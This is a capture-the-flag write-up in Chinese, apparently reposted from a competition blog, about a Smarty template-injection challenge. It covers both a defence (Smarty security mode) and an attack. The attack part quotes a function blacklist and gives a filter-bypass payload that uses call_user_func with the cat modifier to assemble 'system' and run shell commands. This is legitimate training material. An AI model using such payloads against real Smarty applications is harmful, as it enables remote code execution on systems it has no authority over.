文章总结: 本文详细分析了首届楚安杯网络攻防赛中Smarty模板引擎漏洞的攻防方案。防御方案通过开启Smarty安全模式和部署更新脚本加固系统;攻击方案则通过绕过黑名单过滤(利用cat修饰符拼接字符串、规避注释检测)实现SSTI漏洞利用,最终通过{includefile}包含模板和calluserfunc执行系统命令获取flag。文档提供了完整的漏洞利用链和实操payload示例。 综合评分: 85 文章分类: 漏洞分析,CTF,WEB安全,代码审计,实战经验
首届“楚安杯”网络攻防高校邀请赛AWDP 第十轮smarty WP
原创
AWDP额头 AWDP额头
取证额头
2026年4月17日 18:42 北京
在小说阅读器读本章
去阅读
2026年
第十轮
附件链接
通过网盘分享的文件:smarty.zip
链接: https://pan.baidu.com/s/1apzHf5CMTrpf4EAHMCGC8Q?pwd=v6j8 提取码: v6j8
题目 smarty
防御
直接在index.php内
$smarty=newSmarty();
下加上一行
$smarty->enableSecurity();
开启 Smarty 安全模式
编写update.sh
#!/bin/bash
cp index.php /var/www/html/index.php
wsl打开当前目录
tar zcvf update.tar.gz index.php update.sh
提交update.tar.gz,验证
攻击
阅览代码
<?php
functioncheckInput($input){
$blacklist=["^","~","%","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close","proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport","syslog","popen","show_source","highlight_file","`","chmod","\$_","eval","copy","assert","usort","include","require","$"];
$input=str_replace("*/","* /",$input);
foreach($blacklistas$black){
if(stristr($input,$black))die("nonono");
}
return$input;
}
if($_SERVER['REQUEST_METHOD']==='POST'){
$templateName=checkInput($_POST['template_name']);
$templateContent=checkInput($_POST['template_content']);
// 将模板内容保存到 template.tpl 文件中
file_put_contents('./templates/template.tpl',$templateContent);
// 返回成功消息
$successMessage='模板已保存成功';
}
// 加载 Smarty 模板引擎库
require'./libs/Smarty.class.php';
$smarty=newSmarty();
$smarty->assign('success_message',$successMessage??'');
$smarty->assign('template_content',file_get_contents('./templates/template.tpl')??'');
$smarty->display('index.tpl');
我们需要过 blacklist 黑名单(外加防注释攻击),将我们填写的模板存到template.tpl,然后将index.tpl内容转成php,我们跟进到index.tpl
index.tpl
<!DOCTYPEhtml>
<html>
<head>
<title>Smarty 框架在线编辑预览</title>
<linkrel="stylesheet"href="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/4.5.2/css/bootstrap.min.css">
……css忽略
</head>
<body>
<divclass="container-fluid">
<divclass="sidebar">
<h4>侧边栏</h4>
<ul>
<li><ahref="#edit">编辑模板</a></li>
<li><ahref="#preview">模板预览</a></li>
</ul>
</div>
<divclass="content">
<sectionid="edit">
<h2>编辑模板</h2>
<formmethod="POST"action="index.php">
<divclass="form-group">
<labelfor="template_name">模板名称</label>
<inputtype="text"class="form-control"id="template_name"name="template_name">
</div>
<divclass="form-group">
<labelfor="template_content">模板内容</label>
<textareaclass="form-control"id="template_content"name="template_content"rows="10"placeholder="在这里输入模板内容..."></textarea>
</div>
<buttontype="submit"class="btn btn-primary">保存模板</button>
</form>
</section>
<sectionid="preview"style="display: none;">
<h2>模板预览</h2>
<divid="previewContent">
{include file="./template.tpl"}
</div>
</section>
</div>
</div>
……忽略
</body>
</html>
根据上面的index.php猜测是SSTI,翻阅互联网,发现可以找关键词
$smarty->display('template.tpl');
或者
{includefile='template.tpl'}
在模板预览部分有一个类似的
{includefile="./template.tpl"}
文件包含,可以将我们所写进去的smarty转成php展示出来,那么可以执行php。
梳理一下攻击链,输入template_content,绕过WAF,然后点击模板预览来执行php
查看waf
$blacklist=["^","~","%","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close","proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport","syslog","popen","show_source","highlight_file","`","chmod","\$_","eval","copy","assert","usort","include","require","$"];
$input=str_replace("*/","* /",$input);
不可以直接执行echo,system,fopen,带有file的readfile,文件包含等等,还有注释符绕过
sy/* 1111 */stem
查看smarty文档https://www.smarty.net/docs/zh_CN/language.modifier.cat.tpl#/id412551
可以备一份https://www.smarty.net/files/docs/manual-zh_CN-3.1.10.zip线下用
得知替代php的点是cat命令
构造playload
先测试
{{7*7}}
{{7*'7'}}
# 都输出49
{if phpinfo()}{/if}
# 有显示
{if call_user_func('sys'|cat:'tem','cat flag')}{/if}
点击模板预览获得flag
php.net/call_user_func https://www.smarty.net/docs/zh_CN/language.modifier.cat.tpl#/id412551
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:取证额头 AWDP额头 AWDP额头《首届“楚安杯”网络攻防高校邀请赛AWDP 第十轮smarty WP》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论